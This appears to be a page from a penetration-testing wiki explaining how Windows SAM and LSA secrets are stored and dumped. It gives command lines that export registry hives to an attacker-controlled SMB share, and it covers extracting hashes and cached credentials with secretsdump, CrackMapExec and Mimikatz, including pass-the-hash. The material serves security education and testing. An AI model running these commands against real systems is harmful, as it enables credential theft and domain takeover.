SAM & LSA secrets
MITRE ATT&CK™ Sub-techniques T1003.002, T1003.004 and T1003.005
Theory
In Windows environments, passwords are stored in a hashed format in registry hives like SAM (Security Account Manager) and SECURITY.
Hive
Details
Format or credential material
SAM
stores locally cached credentials (referred to as SAM secrets)
LM or NT hashes
SECURITY
stores domain cached credentials (referred to as LSA secrets)
Plaintext passwords
LM or NT hashes
Kerberos keys (DES, AES)
Domain Cached Credentials (DCC1 and DCC2)
Security Questions (
L$_SQSA_<SID>)SYSTEM
contains enough info to decrypt SAM secrets and LSA secrets
N/A
SAM and LSA secrets can be dumped either locally or remotely from the mounted registry hives. These secrets can also be extracted offline from the exported hives. Once the secrets are extracted, they can be used for various attacks, depending on the credential format.
Credential material
Subsequent attacks
Plaintext passwords
LM and NT hashes
Kerberos keys (RC4, i.e. == NT hash)
Kerberos keys (DES, AES)
Domain Cached Credentials (DCC1 or DCC2)
Practice
Exfiltration
UNIX-like
Live Windows
Down Windows
Impacket's reg.py (Python) script can also be used to do the same operation remotely for a UNIX-like machine. For instance, this can be used to easily escalate from a Backup Operator member to a Domain Admin by dumping a Domain Controller's secrets and use them for a DCSync. (At the time of writing, 17th Feb. 2022, the pull request is pending).
The attacker can start an SMB server, and indicate an UNC path including his IP address so that the hives get exported directly to his server.
1
# start an SMB share
2
smbserver.py -smb2support "someshare" "./"
3
4
# save each hive manually
5
reg.py "domain"/"user":"password"@"target" save -keyName 'HKLM\SAM' -o '\\ATTACKER_IPs\someshare'
6
reg.py "domain"/"user":"password"@"target" save -keyName 'HKLM\SYSTEM' -o '\\ATTACKER_IP\someshare'
7
reg.py "domain"/"user":"password"@"target" save -keyName 'HKLM\SECURITY' -o '\\ATTACKER_IP\someshare'
8
9
# backup all SAM, SYSTEM and SECURITY hives at once
10
reg.py "domain"/"user":"password"@"target" backup -o '\\ATTACKER_IP\someshare'
Copied!
When the Windows operating system is running, the hives are in use and mounted. The command-line tool named
reg can be used to export them.1
reg save HKLM\SAM "C:\Windows\Temp\sam.save"
2
reg save HKLM\SECURITY "C:\Windows\Temp\security.save"
3
reg save HKLM\SYSTEM "C:\Windows\Temp\system.save"
Copied!
The attacker can start an SMB server, and indicate an UNC path including his IP address so that the hives get exported directly to his server.
1
BackupOperatorToDA.exe -d "domain" -u "user" -p "password" -t "target" -o "\\ATTACKER_IP\someshare"
Copied!
Alternatively, from a live Windows machine, the hive files can also be exfiltrated using Volume Shadow Copy like demonstrated for an NTDS export.
When Windows is not running, the hives are not mounted and they can be copied just like any other file. This can be operated when mounting the hard drive from another OS (e.g. when booting the computer on another operating system). The hive files can be found at the following locations.
1
\system32\config\sam
2
\system32\config\security
3
\system32\config\system
Copied!
Secrets dump
Here are some examples and tools that can be used for local/remote/offline dumping.
secretsdump
CrackMapExec
Mimikatz
Impacket's secretsdump (Python) can be used to dump SAM and LSA secrets, either remotely, or from local files. For remote dumping, several authentication methods can be used like pass-the-hash (LM/NTLM), or pass-the-ticket (Kerberos).
1
# Remote dumping of SAM & LSA secrets
2
secretsdump.py 'DOMAIN/USER:[email protected]'
3
4
# Remote dumping of SAM & LSA secrets (pass-the-hash)
5
secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/[email protected]'
6
7
# Remote dumping of SAM & LSA secrets (pass-the-ticket)
8
secretsdump.py -k 'DOMAIN/[email protected]'
9
10
# Offline dumping of LSA secrets from exported hives
11
secretsdump.py -security '/path/to/security.save' -system '/path/to/system.save' LOCAL
12
13
# Offline dumping of SAM secrets from exported hives
14
secretsdump.py -sam '/path/to/sam.save' -system '/path/to/system.save' LOCAL
15
16
# Offline dumping of SAM & LSA secrets from exported hives
17
secretsdump.py -sam '/path/to/sam.save' -security '/path/to/security.save' -system '/path/to/system.save' LOCAL
Copied!
CrackMapExec (Python) can be used to remotely dump SAM and LSA secrets, on multiple hosts. It offers several authentication methods like pass-the-hash (NTLM), or pass-the-ticket (Kerberos)
1
# Remote dumping of SAM/LSA secrets
2
crackmapexec smb $TARGETS -d $DOMAIN -u $USER -p $PASSWORD --sam/--lsa
3
4
# Remote dumping of SAM/LSA secrets (local user authentication)
5
crackmapexec smb $TARGETS --local-auth -u $USER -p $PASSWORD --sam/--lsa
6
7
# Remote dumping of SAM/LSA secrets (pass-the-hash)
8
crackmapexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --sam/--lsa
9
10
# Remote dumping of SAM/LSA secrets (pass-the-ticket)
11
crackmapexec smb $TARGETS --kerberos --sam/--lsa
Copied!
Mimikatz can be used locally to extract credentials from
SAM and SECURITY registry hives (and SYSTEM for the encryption keys), or offline with hive dumps.1
# Local dumping of SAM secrets on the target
2
lsadump::sam
3
4
# Offline dumping of SAM secrets from exported hives
5
lsadump::sam /sam:'C:\path\to\sam.save' /system:'C:\path\to\system.save'
6
7
# Local dumping of LSA secrets on the target
8
lsadump::secrets
9
10
# Offline dumping LSA secrets from exported hives
11
lsadump::secrets /security:'C:\path\to\security.save' /system:'C:\path\to\system.save'
Copied!
Nota bene secretsdump and crackmapexec both extract security questions, if any, from the LSA. They are json formatted, UTF-16-LE encoded, and hex encoded on top of that.
References
SysKey and the SAM
Decrypting LSA Secrets
SecretsDump Demystified
Medium
MSCash Hash Primer for Pentesters
WebstersProdigy
Last modified 3mo ago
Copy link